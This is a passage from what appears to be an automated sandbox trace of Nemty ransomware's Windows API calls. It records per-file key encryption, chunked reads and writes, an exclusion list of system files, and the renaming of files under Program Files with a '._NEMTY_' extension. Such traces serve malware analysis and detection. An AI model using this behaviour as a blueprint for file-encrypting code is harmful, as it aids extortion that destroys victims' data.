pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="//8Hs0+yhRDqtmkI65kOjTx/b/wzWxZ8I4DMYG4VfVRq1JRDb+N2zmQKYWEuCHMc\r\nEMrl4RdUPG/OFLiUfLKCCJ/fzkUHt0zBuUJfHQZNi0QsvQDCdMcl0L97qHHRK5Yd\r\nWEhOYJokP9tY3FxItwcQalTY7ybVM4kHKMRWuKdOLRo46oR5BIK8DIwTm2FRsh/L\r\n9Y8GtkWU+UOR3z1yfHQ+FxcF/4IncrJIhInA9xpLF/hCEQjOttniY4uCW28HdccS\r\nHWFR2Q25OroKbywwsRzf6/oisqaYbv5GcIeZZ0zJdtOQipElnsKslDGKGJDli+Fg\r\nUKHbiBPJErFC4JvJptU5Nw==\r\n", pcchString=0x653ec5c) returned 1 [0069.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0069.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.452] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0069.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0069.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0069.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0069.452] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0069.452] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0069.452] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0069.452] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.453] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.480] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.480] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.480] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.489] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.489] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.489] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.499] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.499] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.499] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.508] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.508] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.508] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.537] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.537] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.546] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.546] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.546] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.552] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.552] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.552] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0069.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.559] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0069.559] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0069.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0069.559] CloseHandle (hObject=0xffffffff) returned 0 [0069.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94320 [0069.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0069.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0069.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0069.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0069.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0069.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0069.559] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0069.559] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0069.560] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_ButtonGraphic.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_buttongraphic.png._nemty_kgobjgd_")) returned 0 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94320 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.560] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0069.560] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ef8434f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ef8434f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2ed141, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="...") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="windows") returned -1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="$RECYCLE.BIN") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="rsa") returned -1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="NTDETECT.COM") returned -1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="MSDOS.SYS") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="IO.SYS") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="AUTOEXEC.BAT") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="CONFIG.SYS") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RECYCLER") returned -1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="BOOTSECT.BAK") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0069.560] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="programdata") returned -1 [0069.561] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="appdata") returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0069.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941c0 [0069.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0069.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0069.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0069.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0069.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345608, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0069.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0069.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0069.561] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6345640, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.png", lpUsedDefaultChar=0x0) returned 36 [0069.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f941c0 [0069.561] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94278 | out: hHeap=0x4f90000) returned 1 [0069.561] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94278 [0069.561] Sleep (dwMilliseconds=0x5) [0069.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdd1db930, dwHighDateTime=0x1d561e7)) [0069.574] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xdd1db930, dwHighDateTime=0x1d561e7)) [0069.574] GetLastError () returned 0x5 [0069.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0069.574] GetLastError () returned 0x5 [0069.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0069.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0069.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0069.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0069.574] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0069.574] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0069.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0069.574] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="W9jUWop1VATkyE8O2Slw2y4utsLLTmRdwjfjBJF0G73aWRw4U/JuRrmoUKLeXjA0\r\n+jNPeGkfcPuzBkIjqBkBYc46XrrZr9mPGL0tk5Rrcsybq7pbbw7C2sUTijanjYyN\r\n3WPqRlJ2M2oSRrmzKI/jMuA5nVmCs3qS2GA+FYO17hX94WzkOc5tpm0PNT0cM2ov\r\nqVckm7/64J58MJsl2foeVOb34Tl1PkQLeTT44dw51rElBoBtm44RSmGB35uDc0Oy\r\nBDORnh/tE4ZmJzsoUBXXk3ffhYx/zt7pk4S5k/XdAiEvmeGdOycPxwJcck9F4ohC\r\n5xnYg0r1TpzrHGMZgW9lPg==\r\n", pcchString=0x653ec5c) returned 1 [0069.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0069.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0069.574] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0069.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0069.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0069.574] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0069.574] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0069.575] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0069.575] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0069.575] SetFilePointer (in: hFile=0xffffffff, 